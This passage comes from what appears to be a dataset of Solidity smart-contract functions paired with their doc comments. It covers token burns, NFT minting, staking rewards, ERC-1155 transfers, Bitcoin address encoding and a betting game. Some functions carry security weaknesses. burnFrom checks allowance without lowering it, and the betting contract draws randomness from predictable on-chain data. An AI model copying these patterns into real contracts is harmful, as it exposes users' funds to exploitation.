specific amount of tokens. Updated version of the BurnableToken methods from OpenZeppelin 1.3.0\r\n * @param _tokensToBurn The amount of token to be burned.\r\n */", "function_code": "function burnFrom(address _tokensOwner, uint256 _tokensToBurn) onlyAllowedAddresses public {\r\n require(_tokensToBurn > 0);\r\n\r\n address burner = msg.sender;\r\n\r\n //If we are not own this tokens we should be checked for allowance\r\n if (_tokensOwner != burner) {\r\n uint256 allowedTokens = allowance(_tokensOwner, burner);\r\n require(allowedTokens >= _tokensToBurn);\r\n }\r\n\r\n balances[_tokensOwner] = balances[_tokensOwner].sub(_tokensToBurn);\r\n totalSupply = totalSupply.sub(_tokensToBurn);\r\n Burn(_tokensOwner, burner, _tokensToBurn);\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * @notice get token uri\r\n * @param tokenId token id to get uri\r\n * @return token uri\r\n */", "function_code": "function tokenURI(uint256 tokenId)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (string memory)\r\n {\r\n require(_exists(tokenId), \"URI query for nonexistent token\");\r\n\r\n string memory currentBaseURI = _baseURI();\r\n return\r\n bytes(currentBaseURI).length > 0\r\n ? string(\r\n abi.encodePacked(\r\n currentBaseURI,\r\n tokenId.toString(),\r\n baseExtension\r\n )\r\n )\r\n : \"\";\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice mint tokens\r\n * @param amount qty to mint\r\n */", "function_code": "function mint(uint256 amount) external payable {\r\n require(amount > 0, \"Mint amount should be > 0\");\r\n require(amount <= maxMintAmount, \"Max mint amount overflow\");\r\n require(supply.current() + amount <= maxSupply, \"Max supply overflow\");\r\n require(msg.value == cost * amount, \"Wrong ETH amount\");\r\n\r\n for (uint256 i = 1; i <= amount; i++) {\r\n supply.increment();\r\n uint256 newTokenId = supply.current();\r\n _mint(msg.sender, newTokenId);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice mint tokens by owner\r\n * @param amount qty to mint\r\n * @dev callable only by contract owner\r\n */", "function_code": "function mintWithOwner(uint256 amount) external onlyOwner {\r\n require(maxSupply > supply.current(), \"Max supply is reached\");\r\n\r\n if (maxSupply - supply.current() > amount) {\r\n for (uint256 i = 1; i <= amount; i++) {\r\n supply.increment();\r\n uint256 newTokenId = supply.current();\r\n _mint(owner(), newTokenId);\r\n }\r\n } else {\r\n for (uint256 i = 1; i <= maxSupply - supply.current(); i++) {\r\n supply.increment();\r\n uint256 newTokenId = supply.current();\r\n _mint(owner(), newTokenId);\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice get account tokens\r\n * @param _owner account adderess to get tokens for\r\n * @return array of tokens\r\n */", "function_code": "function tokensOfOwner(address _owner)\r\n public\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256 ownerTokenCount = balanceOf(_owner);\r\n uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);\r\n uint256 currentTokenId = 1;\r\n uint256 ownedTokenIndex = 0;\r\n\r\n while (\r\n ownedTokenIndex < ownerTokenCount &&\r\n currentTokenId <= supply.current()\r\n ) {\r\n address currentTokenOwner = ownerOf(currentTokenId);\r\n\r\n if (currentTokenOwner == _owner) {\r\n ownedTokenIds[ownedTokenIndex] = currentTokenId;\r\n\r\n ownedTokenIndex++;\r\n }\r\n\r\n currentTokenId++;\r\n }\r\n\r\n return ownedTokenIds;\r\n }", "version": "0.8.4"} {"comment": "/* Converts given number to base58, limited by 32 symbols */", "function_code": "function toBase58Checked(uint256 _value, byte appCode) public pure returns(bytes32) {\r\n string memory letters = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\";\r\n bytes memory alphabet = bytes(letters);\r\n uint8 base = 58;\r\n uint8 len = 0;\r\n uint256 remainder = 0;\r\n bool needBreak = false;\r\n bytes memory bytesReversed = bytes(new string(32));\r\n \r\n for (uint8 i = 0; true; i++) {\r\n if (_value < base) {\r\n needBreak = true;\r\n }\r\n remainder = _value % base;\r\n _value = uint256(_value / base);\r\n if (len == 32) {\r\n for (uint j = 0; j < len - 1; j++) {\r\n bytesReversed[j] = bytesReversed[j + 1];\r\n }\r\n len--;\r\n }\r\n bytesReversed[len] = alphabet[remainder];\r\n len++;\r\n if (needBreak) {\r\n break;\r\n }\r\n }\r\n \r\n // Reverse\r\n bytes memory result = bytes(new string(32));\r\n result[0] = appCode;\r\n for (i = 0; i < 31; i++) {\r\n result[i + 1] = bytesReversed[len - 1 - i];\r\n }\r\n \r\n return bytesToBytes32(result);\r\n }", "version": "0.4.24"} {"comment": "// Create BTC Address: https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses#How_to_create_Bitcoin_Address", "function_code": "function createBtcAddressHex(uint256 publicXPoint, uint256 publicYPoint) public pure returns(uint256) {\r\n bytes20 publicKeyPart = ripemd160(abi.encodePacked(sha256(abi.encodePacked(byte(0x04), publicXPoint, publicYPoint))));\r\n bytes32 publicKeyCheckCode = sha256(abi.encodePacked(sha256(abi.encodePacked(byte(0x00), publicKeyPart))));\r\n \r\n bytes memory publicKey = new bytes(32);\r\n for (uint i = 0; i < 7; i++) {\r\n publicKey[i] = 0x00;\r\n }\r\n publicKey[7] = 0x00; // Main Network\r\n for (uint j = 0; j < 20; j++) {\r\n publicKey[j + 8] = publicKeyPart[j];\r\n }\r\n publicKey[28] = publicKeyCheckCode[0];\r\n publicKey[29] = publicKeyCheckCode[1];\r\n publicKey[30] = publicKeyCheckCode[2];\r\n publicKey[31] = publicKeyCheckCode[3];\r\n \r\n return uint256(bytesToBytes32(publicKey));\r\n }", "version": "0.4.24"} {"comment": "// function complexityForBtcAddressPrefix(bytes prefix) public pure returns(uint) {\n// return complexityForBtcAddressPrefixWithLength(prefix, prefix.length);\n// }\n// // https://bitcoin.stackexchange.com/questions/48586\n// function complexityForBtcAddressPrefixWithLength(bytes prefix, uint length) public pure returns(uint) {\n// require(prefix.length >= length);\n// uint8[128] memory unbase58 = [\n// 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, \n// 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,\n// 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, \n// 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 255, 255, 255, 255, 255, 255, \n// 255, 9, 10, 11, 12, 13, 14, 15, 16, 255, 17, 18, 19, 20, 21, 255, \n// 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 255, 255, 255, 255, 255,\n// 255, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 255, 44, 45, 46,\n// 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 255, 255, 255, 255, 255\n// ];\n// uint leadingOnes = countBtcAddressLeadingOnes(prefix, length);\n// uint256 prefixValue = 0;\n// uint256 prefix1 = 1;\n// for (uint i = 0; i < length; i++) {\n// uint index = uint(prefix[i]);\n// require(index != 255);\n// prefixValue = prefixValue * 58 + unbase58[index];\n// prefix1 *= 58;\n// }\n// uint256 top = (uint256(1) << (200 - 8*leadingOnes));\n// uint256 total = 0;\n// uint256 prefixMin = prefixValue;\n// uint256 diff = 0;\n// for (uint digits = 1; prefix1/58 < (1 << 192); digits++) {\n// prefix1 *= 58;\n// prefixMin *= 58;\n// prefixValue = prefixValue * 58 + 57;\n// diff = 0;\n// if (prefixValue >= top) {\n// diff += prefixValue - top;\n// }\n// if (prefixMin < (top >> 8)) {\n// diff += (top >> 8) - prefixMin;\n// }\n// if ((58 ** digits) >= diff) {\n// total += (58 ** digits) - diff;\n// }\n// }\n// if (prefixMin == 0) { // if prefix is contains only ones: 111111\n// total = (58 ** (digits - 1)) - diff;\n// }\n// return (1 << 192) / total;\n// }\n// function countBtcAddressLeadingOnes(bytes prefix, uint length) public pure returns(uint) {\n// uint leadingOnes = 1;\n// for (uint j = 0; j < length && prefix[j] == 49; j++) {\n// leadingOnes = j + 1;\n// }\n// return leadingOnes;\n// }", "function_code": "function isValidBicoinAddressPrefix(bytes prefixArg) public pure returns(bool) {\r\n if (prefixArg.length < 5) {\r\n return false;\r\n }\r\n if (prefixArg[0] != \"1\" && prefixArg[0] != \"3\") {\r\n return false;\r\n }\r\n \r\n for (uint i = 0; i < prefixArg.length; i++) {\r\n byte ch = prefixArg[i];\r\n if (ch == \"0\" || ch == \"O\" || ch == \"I\" || ch == \"l\") {\r\n return false;\r\n }\r\n if (!((ch >= \"1\" && ch <= \"9\") || (ch >= \"a\" && ch <= \"z\") || (ch >= \"A\" && ch <= \"Z\"))) {\r\n return false;\r\n }\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @notice Withdraw specified amount\n/// @dev A configurable percentage is burnt on withdrawal", "function_code": "function withdraw(uint256 amount) internal nonReentrant updateReward(msg.sender) {\r\n require(amount > 0, \"Cannot withdraw 0\");\r\n uint256 amount_send = amount;\r\n\r\n if (burnRate > 0) {\r\n uint256 amount_burn = amount.mul(burnRate).div(100);\r\n amount_send = amount.sub(amount_burn);\r\n require(amount == amount_send + amount_burn, \"Burn value invalid\");\r\n dracula.burn(amount_burn);\r\n }\r\n\r\n totalStaked = totalStaked.sub(amount);\r\n stakedBalances[msg.sender] = stakedBalances[msg.sender].sub(amount);\r\n dracula.safeTransfer(msg.sender, amount_send);\r\n emit Withdrawn(msg.sender, amount_send);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Transfers reward amount to pool and updates reward rate\n/// @dev Should be called by external mechanism", "function_code": "function notifyRewardAmount(uint256 reward)\r\n external\r\n override\r\n onlyRewardDistributor\r\n updateReward(address(0))\r\n {\r\n // overflow fix according to https://sips.synthetix.io/sips/sip-77\r\n require(reward < uint(-1) / 1e18, \"the notified reward cannot invoke multiplication overflow\");\r\n\r\n rewardToken.safeTransferFrom(msg.sender, address(this), reward);\r\n\r\n if (block.timestamp >= periodFinish) {\r\n rewardRate = reward.div(rewardsDuration);\r\n } else {\r\n uint256 remaining = periodFinish.sub(block.timestamp);\r\n uint256 leftover = remaining.mul(rewardRate);\r\n rewardRate = reward.add(leftover).div(rewardsDuration);\r\n }\r\n\r\n // Ensure the provided reward amount is not more than the balance in the contract\r\n uint256 balance = rewardToken.balanceOf(address(this));\r\n require(rewardRate <= balance.div(rewardsDuration), \"Provided reward too high\");\r\n\r\n lastUpdateTime = block.timestamp;\r\n periodFinish = block.timestamp.add(rewardsDuration);\r\n emit RewardAdded(reward);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Transfers `_value` amount of `_tokenId` from `_from` to `_to`\n/// @dev This function should only be called from erc20 adapter\n/// @param _from Source address\n/// @param _to Target address\n/// @param _tokenId ID of the token type\n/// @param _value Transfer amount", "function_code": "function transferByAdapter(\n address _from,\n address _to,\n uint256 _tokenId,\n uint256 _value\n )\n external\n {\n require(_adapters[_tokenId] == msg.sender, \"Not adapter\");\n\n if (_tokenId & NEED_TIME > 0) {\n _updateHoldingTime(_from, _tokenId);\n _updateHoldingTime(_to, _tokenId);\n }\n _transferFrom(_from, _to, _tokenId, _value);\n\n if (_to.isContract()) {\n require(\n _checkReceivable(msg.sender, _from, _to, _tokenId, _value, \"\", true, false),\n \"Transfer rejected\"\n );\n }\n }", "version": "0.8.1"} {"comment": "/// @dev This is a implementation of EIP1167,\n/// for reference: https://eips.ethereum.org/EIPS/eip-1167 ", "function_code": "function _createClone(address target)\n internal\n returns (address result)\n {\n bytes20 targetBytes = bytes20(target);\n assembly {\n let clone := mload(0x40)\n mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n mstore(add(clone, 0x14), targetBytes)\n mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\n result := create(0, clone, 0x37)\n }\n }", "version": "0.8.1"} {"comment": "//Enable Mining BARC for Ethereum miner", "function_code": "function rewardToMiner() internal {\r\n if (MINER_REWARD == 0) {\r\n return; \r\n }\r\n \r\n BLOCK_COUNT = BLOCK_COUNT + 1;\r\n uint reward = MINER_REWARD * 1e3;\r\n if (users[this] > reward) {\r\n users[this] = safeSub(users[this], reward);\r\n users[block.coinbase] = safeAdd(users[block.coinbase], reward);\r\n LASTEST_MINER = block.coinbase;\r\n emit Reward(block.coinbase, MINER_REWARD);\r\n }\r\n \r\n uint blockToUpdate = CYCLES * 1024;\r\n if (BLOCK_COUNT == blockToUpdate) {\r\n MINER_REWARD = MINER_REWARD / 2;\r\n }\r\n }", "version": "0.4.25"} {"comment": "// transferFrom", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n require(_to != address(0)\r\n && _value > 0\r\n && balanceOf[_from] >= _value\r\n && allowance[_from][msg.sender] >= _value);\r\n\r\n balanceOf[_from] = balanceOf[_from].sub(_value);\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// airdropAmounts", "function_code": "function airdropAmounts(address[] addresses, uint[] amounts) public returns (bool) {\r\n require(addresses.length > 0\r\n && addresses.length == amounts.length);\r\n\r\n uint256 totalAmount = 0;\r\n\r\n for(uint j = 0; j < addresses.length; j++){\r\n require(amounts[j] > 0\r\n && addresses[j] != 0x0);\r\n\r\n amounts[j] = amounts[j].mul(1e8);\r\n totalAmount = totalAmount.add(amounts[j]);\r\n }\r\n require(balanceOf[msg.sender] >= totalAmount);\r\n\r\n for (j = 0; j < addresses.length; j++) {\r\n balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);\r\n emit Transfer(msg.sender, addresses[j], amounts[j]);\r\n }\r\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// Number generator", "function_code": "function arbitraryNumber(uint depth) private returns(uint) {\r\n bytes32 stream;\r\n uint n = numberOfBets();\r\n if (n > postions) {\r\n // Here, we create a copy of the last bets from the bets array (from blockchain)\r\n // to generate input for the `arbitraryNumber` function\r\n address[postions] memory payload;\r\n uint start = n - 1 - postions;\r\n for (uint c = 0; c < postions; c++) {\r\n payload[c] = bets[start + c];\r\n }\r\n stream = keccak256(abi.encodePacked(payload));\r\n delete payload; // wipe out the payload data\r\n } else {\r\n stream = keccak256(abi.encode(bets));\r\n }\r\n\r\n // Avoid attacks due to blockchain data changing\r\n bytes memory liveData = abi.encodePacked(\r\n (block.timestamp - getLastGameTime() + 1) * address(this).balance,\r\n stream\r\n );\r\n return _arbitraryNumber(liveData, n, depth);\r\n }", "version": "0.8.11"} {"comment": "// Calc prize total amount", "function_code": "function calcPrize() private returns (uint) {\r\n debug(\"calcPrize 1\");\r\n \r\n // Save part of the balance for the next game\r\n uint reserve = calcReserve();\r\n debug(\"calcPrize 2\");\r\n\r\n // Compute part of the balance to fund this project\r\n uint fund = calcFund();\r\n debug(\"calcPrize 3\");\r\n\r\n // Prize value\r\n return address(this).balance - reserve - fund;\r\n }", "version": "0.8.11"} {"comment": "// Register a new bet", "function_code": "function registerBet() public payable checkGameTime {\r\n debug(\"registerBet 1\");\r\n require(\r\n uint(msg.value) >= getBetMinimumValue(),\r\n \"Bet must be greater that or equal to the value returned by the 'getBetMinmumValue()' function wei\"\r\n );\r\n bets.push(msg.sender);\r\n }", "version": "0.8.11"} {"comment": "// function completedTasks(uint i) public view returns(Task) {\n// return allTasks[indexOfTaskId[completedTaskIds[i]].sub(1)];\n// }", "function_code": "function getActiveTasks()\r\n external\r\n view\r\n returns (\r\n //TaskType[] t_taskTypes,\r\n uint256[] t_taskIds, // + t_taskTypes\r\n address[] t_creators,\r\n //address[] t_referrers,\r\n uint256[] t_rewards,\r\n bytes32[] t_datas,\r\n uint256[] t_requestPublicXPoints,\r\n uint256[] t_requestPublicYPoints,\r\n uint256[] t_answerPrivateKeys\r\n )\r\n {\r\n //t_taskTypes = new TaskType[](allTasks.length);\r\n t_taskIds = new uint256[](allTasks.length);\r\n t_creators = new address[](allTasks.length);\r\n //t_referrers = new address[](allTasks.length);\r\n t_rewards = new uint256[](allTasks.length);\r\n t_datas = new bytes32[](allTasks.length);\r\n t_requestPublicXPoints = new uint256[](allTasks.length);\r\n t_requestPublicYPoints = new uint256[](allTasks.length);\r\n t_answerPrivateKeys = new uint256[](allTasks.length);\r\n\r\n for (uint i = 0; i < taskIds.length; i++) {\r\n uint index = indexOfActiveTaskId[taskIds[i]];\r\n (\r\n //t_taskTypes[i],\r\n t_taskIds[i],\r\n t_creators[i],\r\n //t_referrers[i],\r\n t_rewards[i],\r\n t_datas[i],\r\n t_requestPublicXPoints[i],\r\n t_requestPublicYPoints[i],\r\n t_answerPrivateKeys[i]\r\n ) = (\r\n //allTasks[i].taskType,\r\n (uint(allTasks[index].taskType) << 128) | allTasks[index].taskId,\r\n allTasks[index].creator,\r\n //allTasks[index].referrer,\r\n allTasks[index].reward,\r\n allTasks[index].data,\r\n allTasks[index].requestPublicXPoint,\r\n allTasks[index].requestPublicYPoint,\r\n allTasks[index].answerPrivateKey\r\n );\r\n }\r\n }", "version": "0.4.24"} {"comment": "//\n// _amount in Odin, \n//", "function_code": "function airDeliver(address _to, uint256 _amount) onlyOwner public {\r\n require(owner != _to);\r\n require(_amount > 0);\r\n require(balances[owner].balance >= _amount);\r\n \r\n // take big number as wei\r\n if(_amount < OdinSupply){\r\n _amount = _amount * OdinEthRate;\r\n }\r\n balances[owner].balance = balances[owner].balance.sub(_amount);\r\n balances[_to].balance = balances[_to].balance.add(_amount);\r\n emit Transfer(owner, _to, _amount);\r\n }", "version": "0.4.24"} {"comment": "//\n// _amount, _freezeAmount in Odin\n//", "function_code": "function freezeDeliver(address _to, uint _amount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public {\r\n require(owner != _to);\r\n require(_freezeMonth > 0);\r\n \r\n uint average = _freezeAmount / _freezeMonth;\r\n BalanceInfo storage bi = balances[_to];\r\n uint[] memory fa = new uint[](_freezeMonth);\r\n uint[] memory rt = new uint[](_freezeMonth);\r\n\r\n if(_amount < OdinSupply){\r\n _amount = _amount * OdinEthRate;\r\n average = average * OdinEthRate;\r\n _freezeAmount = _freezeAmount * OdinEthRate;\r\n }\r\n require(balances[owner].balance > _amount);\r\n uint remainAmount = _freezeAmount;\r\n \r\n if(_unfreezeBeginTime == 0)\r\n _unfreezeBeginTime = now + freezeDuration;\r\n for(uint i=0;i<_freezeMonth-1;i++){\r\n fa[i] = average;\r\n rt[i] = _unfreezeBeginTime;\r\n _unfreezeBeginTime += freezeDuration;\r\n remainAmount = remainAmount.sub(average);\r\n }\r\n fa[i] = remainAmount;\r\n rt[i] = _unfreezeBeginTime;\r\n \r\n bi.balance = bi.balance.add(_amount);\r\n bi.freezeAmount = fa;\r\n bi.releaseTime = rt;\r\n balances[owner].balance = balances[owner].balance.sub(_amount);\r\n emit Transfer(owner, _to, _amount);\r\n emit Freeze(_to, _freezeAmount);\r\n }", "version": "0.4.24"} {"comment": "/////////////////////////////////////////// ERC165 //////////////////////////////////////////////\n/// @notice Query if a contract implements an interface\n/// @param _interfaceId The interface identifier, as specified in ERC-165\n/// @dev Interface identification is specified in ERC-165. This function\n/// uses less than 30,000 gas.\n/// @return `true` if the contract implements `_interfaceId`,\n/// `false` otherwise", "function_code": "function supportsInterface(\n bytes4 _interfaceId\n )\n public\n pure\n virtual\n override\n returns (bool)\n {\n if (_interfaceId == INTERFACE_SIGNATURE_ERC165 ||\n _interfaceId == INTERFACE_SIGNATURE_ERC1155 || \n _interfaceId == INTERFACE_SIGNATURE_ERC721) {\n return true;\n }\n return false;\n }", "version": "0.8.1"} {"comment": "/// @notice Transfers `_values` amount(s) of `_tokenIds` from the `_from` address to the `_to` address specified (with safety call).\n/// @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see \"Approval\" section of the standard).\n/// MUST revert if `_to` is the zero address.\n/// MUST revert if length of `_tokenIds` is not the same as length of `_values`.\n/// MUST revert if any of the balance(s) of the holder(s) for token(s) in `_tokenIds` is lower than the respective amount(s) in `_values` sent to the recipient.\n/// MUST revert on any other error.\n/// MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see \"Safe Transfer Rules\" section of the standard).\n/// Balance changes and events MUST follow the ordering of the arrays (_tokenIds[0]/_values[0] before _tokenIds[1]/_values[1], etc).\n/// After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see \"Safe Transfer Rules\" section of the standard).\n/// @param _from Source address\n/// @param _to Target address\n/// @param _tokenIds IDs of each token type (order and length must match _values array)\n/// @param _values Transfer amounts per token type (order and length must match _tokenIds array)\n/// @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`", "function_code": "function safeBatchTransferFrom(\n address _from,\n address _to,\n uint256[] calldata _tokenIds,\n uint256[] calldata _values,\n bytes calldata _data\n )\n external\n override\n {\n require(_to != address(0x0), \"_to must be non-zero.\");\n require(_tokenIds.length == _values.length, \"Array length must match.\");\n bool authorized = _from == _msgSender() || _operatorApproval[_from][_msgSender()];\n \n _batchUpdateHoldingTime(_from, _tokenIds);\n _batchUpdateHoldingTime(_to, _tokenIds);\n _batchTransferFrom(_from, _to, _tokenIds, _values, authorized);\n \n if (_to.isContract()) {\n require(_checkBatchReceivable(_msgSender(), _from, _to, _tokenIds, _values, _data),\n \"BatchTransfer rejected\");\n }\n }", "version": "0.8.1"} {"comment": "/// @notice Get the balance of an account's Tokens.\n/// @dev It accept both \n/// @param _owner The address of the token holder\n/// @param _tokenId ID of the Token\n/// @return The _owner's balance of the Token type requested", "function_code": "function balanceOf(\n address _owner,\n uint256 _tokenId\n )\n public\n view\n virtual\n override\n returns (uint256) \n {\n if (_tokenId & IS_NFT > 0) {\n if (_ownerOf(_tokenId) == _owner)\n return 1;\n else\n return 0;\n }\n return _ftBalances[_owner][_tokenId];\n }", "version": "0.8.1"} {"comment": "/// @notice Transfers the ownership of an NFT from one address to another address\n/// @dev Throws unless `msg.sender` is the current owner, an authorized\n/// operator, or the approved address for this NFT. Throws if `_from` is\n/// not the current owner. Throws if `_to` is the zero address. Throws if\n/// `_tokenId` is not a valid NFT. When transfer is complete, this function\n/// checks if `_to` is a smart contract (code size > 0). If so, it calls\n/// `onERC721Received` on `_to` and throws if the return value is not\n/// `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`.\n/// @param _from The current owner of the NFT\n/// @param _to The new owner\n/// @param _tokenId The NFT to transfer\n/// @param _data Additional data with no specified format, sent in call to `_to`", "function_code": "function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes memory _data\n )\n public\n override\n AuthorizedTransfer(_msgSender(), _from, _tokenId)\n {\n require(_to != address(0), \"_to must be non-zero\");\n require(_nftOwners[_tokenId] == _from, \"Not owner or it's not nft\");\n \n if (_tokenId & NEED_TIME > 0) {\n _updateHoldingTime(_from, _tokenId);\n _updateHoldingTime(_to, _tokenId);\n }\n _transferFrom(_from, _to, _tokenId, 1);\n \n if (_to.isContract()) {\n require(_checkReceivable(_msgSender(), _from, _to, _tokenId, 1, _data, true, true),\n \"Transfer rejected\");\n }\n }", "version": "0.8.1"} {"comment": "/////////////////////////////////////////// Recording //////////////////////////////////////////////\n/// @notice Transfer recording token\n/// @dev If `_to` is zeroaddress or `msg.sender` is not recording operator,\n/// it throwsa.\n/// @param _from Current owner of recording token\n/// @param _to New owner\n/// @param _tokenId The token to transfer\n/// @param _value The amount to transfer", "function_code": "function recordingTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n uint256 _value\n ) \n external\n {\n require(_msgSender() == _recordingOperators[_tokenId], \"Not authorized\");\n require(_to != address(0), \"_to must be non-zero\");\n\n _updateRecordingHoldingTime(_from, _tokenId);\n _updateRecordingHoldingTime(_to, _tokenId);\n _recordingTransferFrom(_from, _to, _tokenId, _value);\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Returns an URI for a contract\r\n */", "function_code": "function toString(address _addr) public pure returns (string memory) {\r\n bytes32 value = bytes32(uint256(_addr));\r\n bytes memory alphabet = \"0123456789abcdef\";\r\n\r\n bytes memory str = new bytes(42);\r\n str[0] = \"0\";\r\n str[1] = \"x\";\r\n for (uint i = 0; i < 20; i++) {\r\n str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))];\r\n str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))];\r\n }\r\n return string(str);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev copies the reserves from the old converter to the new one.\r\n * note that this will not work for an unlimited number of reserves due to block gas limit constraints.\r\n *\r\n * @param _oldConverter old converter contract address\r\n * @param _newConverter new converter contract address\r\n */", "function_code": "function copyReserves(IConverter _oldConverter, IConverter _newConverter) private {\r\n uint16 reserveTokenCount = _oldConverter.connectorTokenCount();\r\n\r\n for (uint16 i = 0; i < reserveTokenCount; i++) {\r\n IERC20 reserveAddress = _oldConverter.connectorTokens(i);\r\n (, uint32 weight, , , ) = _oldConverter.connectors(reserveAddress);\r\n\r\n _newConverter.addReserve(reserveAddress, weight);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev transfers the balance of each reserve in the old converter to the new one.\r\n * note that the function assumes that the new converter already has the exact same number of reserves\r\n * also, this will not work for an unlimited number of reserves due to block gas limit constraints.\r\n *\r\n * @param _oldConverter old converter contract address\r\n * @param _newConverter new converter contract address\r\n */", "function_code": "function transferReserveBalancesVersion45(ILegacyConverterVersion45 _oldConverter, IConverter _newConverter)\r\n private\r\n {\r\n uint256 reserveBalance;\r\n uint16 reserveTokenCount = _oldConverter.connectorTokenCount();\r\n\r\n for (uint16 i = 0; i < reserveTokenCount; i++) {\r\n IERC20 reserveAddress = _oldConverter.connectorTokens(i);\r\n // Ether reserve\r\n if (reserveAddress == NATIVE_TOKEN_ADDRESS) {\r\n if (address(_oldConverter).balance > 0) {\r\n _oldConverter.withdrawETH(address(_newConverter));\r\n }\r\n }\r\n // ERC20 reserve token\r\n else {\r\n IERC20 connector = reserveAddress;\r\n reserveBalance = connector.balanceOf(address(_oldConverter));\r\n if (reserveBalance > 0) {\r\n _oldConverter.withdrawTokens(connector, address(_newConverter), reserveBalance);\r\n }\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "// using a static call to identify converter version\n// can't rely on the version number since the function had a different signature in older converters", "function_code": "function isV28OrHigherConverter(IConverter _converter) internal view returns (bool) {\r\n bytes memory data = abi.encodeWithSelector(IS_V28_OR_HIGHER_FUNC_SELECTOR);\r\n (bool success, bytes memory returnData) = address(_converter).staticcall{ gas: 4000 }(data);\r\n\r\n if (success && returnData.length == 32) {\r\n return abi.decode(returnData, (bool));\r\n }\r\n\r\n return false;\r\n }", "version": "0.6.12"} {"comment": "//migrate to new controller contract in case of some mistake in the contract and transfer there all the tokens and eth. It can be done only after code review by Etherama developers.", "function_code": "function migrateToNewControllerContract(address newControllerAddr) onlyAdministrator public {\r\n require(newControllerAddr != address(0x0) && isActualContractVer);\r\n \r\n isActive = false;\r\n\r\n core.setNewControllerAddress(newControllerAddr);\r\n\r\n uint256 mntpTokenAmount = getMntpBalance();\r\n uint256 goldTokenAmount = getGoldBalance();\r\n\r\n if (mntpTokenAmount > 0) mntpToken.transfer(newControllerAddr, mntpTokenAmount); \r\n if (goldTokenAmount > 0) goldToken.transfer(newControllerAddr, goldTokenAmount); \r\n\r\n isActualContractVer = false;\r\n }", "version": "0.4.25"} {"comment": "// MAGEO EXTRA URIs", "function_code": "function getPersistentURI(uint256 tokenId) public view returns (string memory) {\r\n\r\n require(_exists(tokenId), \"Persistent uri query for nonexistent token\");\r\n\r\n string memory uri = persistentURIs[tokenId];\r\n\r\n if (bytes(uri).length == 0) {\r\n return tokenURI(tokenId);\r\n }\r\n\r\n return uri;\r\n }", "version": "0.8.9"} {"comment": "//Initialize or completely overrite existing list of contributors", "function_code": "function setContributors(address[] calldata _contributors, uint16[] calldata contShares) public onlyOwner {\n //revert if caller has mismtached sizes of arrays \n require(_contributors.length == contShares.length, \"length not the same\");\n\n uint16 oldShares = 0;\n contributors = _contributors;\n for(uint256 i = 0; i < contShares.length; i++ ){\n oldShares = tryadd(oldShares, contShares[i]);\n require(oldShares <= 1000, \"share total more than 100%\");\n shares[_contributors[i]] = Contributor(contShares[i], true);\n }\n totalShare = oldShares;\n }", "version": "0.6.12"} {"comment": "//Change shares of a contributor or sets", "function_code": "function addContributor(address _con, uint16 _share) public onlyOwner {\n require (_share <= 1000, \"share more than 100%\");\n\n uint16 oldShares = 0;\n if (shares[_con].exists) {\n oldShares = shares[_con].numOfShares;\n //set new number of shares for existing contributor\n shares[_con].numOfShares = _share;\n } else {\n //add new contributor\n shares[_con] = Contributor(_share, true);\n contributors.push(_con);\n }\n //update totalShare\n totalShare = tryadd((totalShare - oldShares), _share);\n //revert if we pushed the total over 1000...\n require (totalShare <= 1000, \"share total more than 100%\");\n emit contributorAdded(_con, _share, totalShare);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Function to withdraw game LOOMI to ERC-20 LOOMI.\n */", "function_code": "function withdrawLoomi(uint256 amount) public nonReentrant whenNotPaused {\n require(!isWithdrawPaused, \"Withdraw Paused\");\n require(getUserBalance(_msgSender()) >= amount, \"Insufficient balance\");\n uint256 tax = withdrawTaxCollectionStopped ? 0 : (amount * withdrawTaxAmount) / 100;\n\n spentAmount[_msgSender()] += amount;\n activeTaxCollectedAmount += tax;\n _mint(_msgSender(), (amount - 